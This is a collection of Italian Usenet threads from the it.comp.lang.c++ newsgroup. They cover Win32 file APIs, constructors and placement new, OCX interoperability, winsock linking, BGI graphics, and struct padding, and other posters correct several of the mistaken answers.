delle librerie statiche o dinamiche altamente instabili all' interno di un' 
applicazione garantendo comunque la stabilita' dell' applicazione generale.
Grazie per tutti i suggerimenti,
Denis. 


E invece provare a scrivere/usare codice corretto? Se il sistema invia
segnali ci sara' un motivo. Come fai a sapere che ignorandoli tutto
funziona lo stesso? Mi pare un approccio estremamente pericoloso.
Ciao,
Nicola

 applicazione garantendo comunque la stabilita' dell' applicazione generale.
Quello che chiedi si chiama sand-boxing ed è *veramente* difficile da 
realizzare così su due piedi. Dovresti usare le librerie come plugin 
delineando una tua interfaccia, ecc... Praticamente "termineresti" un 
plugin esattamente come il sistema operativo termina un processo.
Questa sarebbe *vera* stabilità.
Comunque SetUnhandledExceptionFilter potrebbe fare al caso tuo.
Kiuhnm

 Comunque SetUnhandledExceptionFilter potrebbe fare al caso tuo.
Purtroppo ho provato anche questo con scarsi risultati.
Ciao, Denis. 

 Purtroppo ho provato anche questo con scarsi risultati.
Cioè l'applicazione termina senza preavviso?
Kiuhnm


Quello che dici non mi sembra possibile usando solo il linguaggio C++.
Le eccezioni gestite dal C++ sono quelle sollevate da istruzioni "throw" 
del C++ stesso, non "eccezioni del sistema operativo".
Per rendere piu' robusta la tua applicazione, devi sfruttare quello che 
mette a disposizione il sistema operativo.
Per esempio, se il tuo sistema operativo e' MS-DOS, non c'e' speranza, 
ma se e' Windows NT o Linux, puoi dividere la tua applicazione in due 
programmi, che generano due processi distinti, e far comunicare i due 
processi.
Solo uno dei due processi accede direttamente alla libreria.
Se la libreria contiene degli errori, manda in errore solo quel processo.
Per approfondire la questione, credo dovresti spostarti sul newsgroup 
specifico del tuo sistema operativo.
-- 
     Carlo Milanesi
 
http://digilander.libero.it/carlmila
Newsgroup: it.comp.lang.c++
Titolo: CreateFile(..) e WriteFile(..)

gradirei avere un esempiuccio piccolo che scrine un qualcosa su file
utilizzando
le funz. API win32 del subject, utilizzando un approccio non MFC
basta la funzione che si occupa del ciclo messaggi!
il problema e' che tutto sembra funzionare ma alla fine il file e' di 0
byte
non ho usato impostazioni strane.
--
Posted from 
hm1.hotmail.com
 [207.82.250.80]
via Mailgate.ORG Server - 
http://www.mailgate.org

Ciao,
allego qualche riga di codice per scrivere su un file
utilizzando le funzioni dell'API di Windows:
{
    HANDLE hf;
    /* apertura file in scrittura */
    hf = CreateFile(filename,
                               GENERIC_WRITE,
                               0,
                               NULL,
                              CREATE_ALWAYS,
                              FILE_ATTRIBUTE_NORMAL,
                              NULL);
    if (hf == INVALID_HANDLE_VALUE)
	        return FALSE;
    /* scrittura dati */
    if ((!WriteFile(hf, (LPCVOID)&lpData, dwDataLen, &dwWritten, NULL)))
    {
        CloseHandle(hf);
        return FALSE;
    }
    /* chiusura file */
    CloseHandle(hf);
ciao, Franco.
Franco Torrini - Software Engineer - 
f.to...@virtuart.it
VIRTUART - C.C.D. Creative Computer Design S.p.A.
Via di Quarto Annunziata, 80/b - 00189 Rome, Italy
Tel. 
+39 06 33076638
 - Fax. 
+39 06 33076670
Web: 
http://www.virtuart.it


byte
Forse hai omesso la chiamata a CloseHandle...?
Alex

   ------------------------------------------------------------------------

--
Posted from 
hm2.hotmail.com
 [207.82.250.81]

Newsgroup: it.comp.lang.c++
Titolo: Richiamare il costruttore

E' possibile richiamare il costruttore di una classe?
Ad esempio, se io ho la classe Pippo, posso fare qualcosa di simile a 
Pippo p;
p.pippo();
dato che questo non mi va?
Altrimenti dovrei fare una cosa del tipo
class Pippo{
	public:
		Pippo();
		void	Init();
};
Pippo::Pippo(){
	init();
};
Pippo:Init(){
// costruttore della classe
};
?

 p.pippo();
L'oggetto 'p' non esiste ancora, quindi il metodo 'pippo()' non
e' disponibile. Se pero' usi
Pippo p = new Pippo();
Il costruttore verra' richiamato automaticamente. Nota: Maiuscole
e Minuscole sono diverse...
Davide

 e' disponibile. Se pero' usi
Follia!  L'oggetto "p" esiste e come, e viene chiamato il default ctor
per inizializzarlo.  Ti consiglio di non sparare piu' abominazioni
come queste...
MLO@mlinux 6 $ cat foo.cxx
#include <iostream>
class Pippo {
public:
  Pippo()  { std::cout << "ctor" << std::endl; }
  ~Pippo() { std::cout << "dtor" << std::endl; }
};
int main() {
  Pippo p;
}
MLO@mlinux 7 $ g++ -ansi -Wall -o foo foo.cxx && ./foo
ctor
dtor
MLO@mlinux 8 $
-- 
Maurizio Loreti                         
http://www.pd.infn.it/~loreti/mlo.html
Univ. of Padova, Dept. of Physics - Padova, Italy            
lor...@pd.infn.it
The instructions said to use Windows 98 or better - so I installed FreeBSD.

 e' disponibile.
In che senso? Il codice scritto sopra per me è a posto. L'oggetto p
esiste nel momento in cui viene definito (nella prima delle due righe di
cui sopra).
EMG

Il costruttore verra' richiamato automaticamente.
Il costruttore viene richiamato automaticamente ANCHE nel primo caso.
--
Andrea Laforgia (ICQ 87230455)
http://www.geocities.com/AndreaLaforgia
"ci sono tre tipi di persone nel mondo : quelli che
 sono bravi in matematica e quelli che non lo sono."

 };
Qui non ho capito cosa intendi fare. Occhio a maiuscole e minuscole,
comunque!
Ciao,
Nicola

ho commesso un errore:
anziche
pa=new(pa);
bisogna mettere
pa=new(pa) A;

 E' possibile richiamare il costruttore di una classe?
Nel momento in cui istanzi esplicitamente una classe il costruttore viene 
richiamato.
Si puo' presentare la situazione in cui si sia allocata memoria e su questa 
si debba costruire una classe:
si puo' fare cosi:
// tratto dall'header standard <new>
// default placement versions of operator new
inline void *operator new(size_t, void *place) throw() { return place; }
class A { [...] };
A*      pa;
pa=malloc( sizeof( A ) ); // alloco spazio per A ma NON la inizializzo
new(pa);        // la inizializzo

e Minuscole sono diverse...
mi sa che hai fatto confusione con i puntatori. Credo che volessi fare
qualcosa del tipo:
Pippo* p= new Pippo;
il codice che hai scritto tu è errato
Anto
--
Antonio Cuni, 18 anni, studente
Brainbench Certification: 
Master C++: 4.6, higher than 98% of all previous test takers.
C Language: 3.32, higher than 79% of all previous test takers.
http://www.brainbench.com/transcript.jsp?pid=1301688

valido nemmeno con il nome corretto.
Si' si', i nomi non erano questi. Giusto un esempio scritto al volo
nell'email.
Newsgroup: it.comp.lang.c++
Titolo: DOMANDA SUGLI OCX

Gli OCX VB si possono leggere su C++? si può fare il contrario?
Cioè si possono fare OCX in C++ e leggerli in VB, si può fare OCX in c++ e
leggerli VB,
Gli OCX Sono tutti compatibili o ogni linguaggio di programmazione ha i
suoi?
Ciao  e grazie a chi mi risponde
    Gabry
----------------------------------------------------------------------------
--------------------------
Posta piccola: 
ga...@freemail.it
Posta con Allegati: non in funzione
Se mandi allegati mandami una lettera a 
ga...@freemail.it
dicendomi che mi hai mandato un file con un allegato.
Pagina web:Prossimamente.
----------------------------------------------------------------------------
-------------------------

suoi?
COM e Active/X sono tecnologie pensate anzitutto per essere
indipendenti dal linguaggio.
Un controllo Active/X puo`, o meno, implementare svariate
funzionalita` supplementari (attivazione rapida/windowless,
ad esempio), e un contenitore Active/X puo`, o meno, essere
in grado di sfruttare ciascuna di queste funzionalita`; ma un
funzionamento "di minima" dovrebbe essere garantito.
Alex

Newsgroup: it.comp.lang.c++
Titolo: winsock, dev-c++ e borland compiler

ciao a tutti...
sono impegnato in un progetto che fa uso dei socket
ed è quindi necessario l'utilizzo delle api di windows.
con il compilaratore gratuito di borland il codice che ho funziona...
ma con il dev-c++ no (non trova funzioni come WSAStartup, dice che è
impossibile linkare... qualcosa del genere... boh?).
da cosa dipende???
vorrei utilizzare il dev-c++ per essere un pò più comodo ma proprio perchè
non riesco ad utilizzare winsock con dev sono "costretto" ad utilizzare il
borland.
che devo fare???
grazie

 grazie
prego
--
Gerolamo

 genere... boh?). da cosa dipende???
oh signore, se basta questo a mandarti in crisi... che ne diresti di 
provare -lwsock32 o -lws2_32?
-- 
 < 
http://www.reactos.com/
 >  Open source clone of Windows NT. Current
     Don't stand, REACT!      version 0.0.19. C, C++ and ASM developers
                              and beta testers are welcome!

Newsgroup: it.comp.lang.c++
Titolo: Aiuto!

Salve,
sono (quasi) completamente a digiuno di c e c++:
qualcuno saprebbe indicarmi un testo in italiano o in inglese per poter
imparare da zero questi due linguaggi?

 imparare da zero questi due linguaggi?
Consulta le FAQ su 
www.programmazione.it
.
EMG
Newsgroup: it.comp.lang.c++
Titolo: [BARI] RICERCA PROGRAMMATORE

DADAnet Internet Provider Puglia (o EXE srl?) ricerca
n. 1 Programmatore
Conoscenze richieste:
-interfacciamento web/database;
-ottima conoscenza dei linguaggi Visual C e/o PERL-CGI;
-possibilità di operare in ambiente Windows NT e/o Linux;
Luogo di lavoro:
Barletta (BA)
Costituiscono titoli preferenziali:
-precedenti esperienze nel settore del commercio elettronico;
-conoscenza della lingua inglese;
Trattamento economico adeguato.
Inviare curriculum vitae (se in attachment in formato Word o RTF) 
specificando il subject: OFFERTA PROGRAMMATORE 01
per posta all'indirizzo
EXE s.r.l.
p.zza caduti, 18
70051 Barletta (BA)
per fax al numero 
0883347357
specificando OFFERTA PROGRAMMATORE 01
************************
Lorenzo Cipparrone 
lor...@ba.dada.it
*** web staff ***
+39 883 33.00.00/1
DADAnet Internet Provider
Piazza Caduti 18
70051 Barletta (Bari)
Italy



Newsgroup: it.comp.lang.c++
Titolo: Grafice & BGI

Salve,
mi trovo davanti alla necessità di inizializzare la grafica (sotto
dos) ad una risoluzione di 800x600 (non dite che non funzia, perchè
l'ho già tirata a 1280x1024 :) ) il mio problema è che il programma
che fa ciò funzia una volta si e una no, a volte riavvia persino la
macchina quando lo mando in esecuzione.
Il programma incriminato è quasto:
#include <conio.h>
#include <svga16.h>
int huge detectVGA256()
{return 2;}
class grafica
{
  public:
        grafica();
        ~grafica();
        void grafica::off();
};
grafica::grafica()
{
int gdriver = installuserdriver("Svga16",detectVGA256),  gmode=6;
initgraph(&gdriver, &gmode, "");
}
grafica::~grafica()
{
}
void grafica::off()
{
 closegraph();
}
void main()
{
 grafica go; // "accende" la modalità grafica
 line(0,0,800,600);
 getch();
 go.off();  //"spegne" la modalità grafica
 getch();
}
Nella cartella include c'è il .h svga16 che è il seguente
#ifndef __SVGA16_H__
#define __SVGA16_H__
extern int far Svga16_fdriver[];
#define SVGA320x200x16 0	/* 320x200x16 Standard EGA/VGA */
#define SVGA640x200x16 1	/* 640x200x16 Standard EGA/VGA */
#define SVGA640x350x16 2	/* 640x350x16 Standard EGA/VGA */
#define SVGA640x480x16 3	/* 640x480x16 Standard VGA */
#define SVGA800x600x16 4	/* 800x600x16 SuperVGA/VESA */
#define SVGA1024x768x16 5	/* 1024x768x16 SuperVGA/VESA */
#define SVGA1280x1024x16 6	/* 1280x1024x16 SuperVGA/VESA */
#endif /* __SVGA16_H__ */
Qualcuno mi puo aiutare a capire perchè il mio prog si comporta in tal
modo?, e magari aiutarmi a capire come risolvere il problema.
Tnx
P.S.
Uso il Borland 3.1

Ciao,
Questo newsgroup si occupa del linguaggio C++ in quanto tale, e non di
aspetti specifici di particolari implementazioni. Per questo non e' il
posto piu' adatto per porre domande specifiche come la tua.
Potresti avere piu' fortuna su uno dei seguenti gruppi:
Per Win32 (95, 98, NT): it.comp.programmare.win32
Per Linux:      it.comp.os.linux.development
Per C++Builder: i gruppi borland.public.cppbuilder.*, disponibili sul
                server 
forums.borland.com
 (in inglese)
Grazie,
Nicola Musatti
Newsgroup: it.comp.lang.c++
Titolo: HELP !! - Chiamata a programma i Masterizzazione CD

Ciao a tutti,
vorrei sapere se è possibile e come passare i parametri al "winoncd", in
modo che il programma di masterizzazione si apra con i file da masterizzare
inseriti.
Grazie


wrote:

Sei completamente off-topic.
In ogni caso e' sufficiente che tu crei un file ascii con il nome
di tutti i file che vuoi includere nell'immagine e poi chiami il
programma passando come parametro...
aspetta un momento...
non avevo visto che si trattava di roba windows!
Non conosco il programma ma temo che probabilmente l'unica
possibilita' sia di gironzolare a destra e a sinistra con il
mouse selezionando i file che ti interessano.
Pero' mentre lo fai magari winoncd puo' suonare dei bellissimi
wave al momento del drag/drop sulla coloratissima immagine
CD... fortissimo no ?
"Where the hell you thought you were able to go today ?"
Andrea
--
Andrea Griffini, Programmer
http://www.netservers.com/~agriff

Newsgroup: it.comp.lang.c++
Titolo: Ocx nelle applicazioni VC++

Salve a tutti,
programmo da qualche mese in VC++ 6.0 ed ho realizzato un apllicazione che
utilizza alcuni degli ocx realizzati da microsof (Es: MSWinsckctrl 6.0 ,
MSChart 6.0 , ecc). Io so che una volta registrati, questi controlli possono
essere liberamente utilizzati. Il mio cliente mi ha pero' chiesto se č tutto
in regola con il copyright. In particolare il dubbio č che sia necessario
acquistare una licenza di visual studio 6.0 per essere in regola. IO gli ho
detto che per quanto ne so, questo problema non c'č. Credo infatti che i
diritti su quegli ocx, vengano pagati dal programmatore che acquista il tool
visual studio, come se fossero delle semplici librerie utili al
programmatore. Del resto il mio clinte non paga le MFC, in quanto
rappresentano un costo per chi produce software e non per chi lo acquista.
Prego tutti coloro che hanno le idee un po piů chiare delle mie di fornirmi
una buona spiegazione da rigirare al mio cliente, per tranquillizzarlo.
Inoltre vorrei capire anch'io quale sia il meccanismo che regola tutto il
processo.
Ringranzio anticipatamente tutti.

 wrote in message
news:ab66cd$g17$
1...@e3k.asi.ansaldo.it
Circa la redistribuibilità degli applicativi, dovresti consultare il 
testo della licenza di Visual Studio, dovrebbe essere tra i primi capi-
toli. C'è poi una cartella, chiamata 'Redist' che elenca i componenti
distribuibili.
Ciao
-- 
Posted via Mailgate.ORG Server - 
http://www.Mailgate.ORG
Newsgroup: it.comp.lang.c++
Titolo: Disposizione dei dati in memoria nel caso di contenimento o ereditarietà

Supponendo di avere le seguenti strutture:
 
struct X
{
    int a;
    int b;
};
 
struct Y
{
    X   x;
    char c;
    char d;
};
 
struct Z : public X
{
    char c;
    char d;
};
 
e questo buffer:
int buffer[4] = {1, 2, 3, 4};
 
Volevo sapere se è sempre equivalente accedere agli elementi del buffer utilizzando sia p1 che p2 cosí definiti:
 
Y* p1 = (Y*)(&buffer[0]);
Z* p2 = (Z*)(&buffer[0]);
 
Più precisamente le equivalenze che seguono sono sempre vere?
 
sizeof(Y) == sizeof(Z)
 
&(p1->x.a) == &(p2->a);
&(p1->x.b) == &(p2->b);
&(p1->c) == &(p2->c);
&(p1->d) == &(p2->d);
 
Grazie mille.

 
 
<snip>
 
No. Qualsiasi assunzione sul padding che il compilatore può mettere è falsa.
Ciao!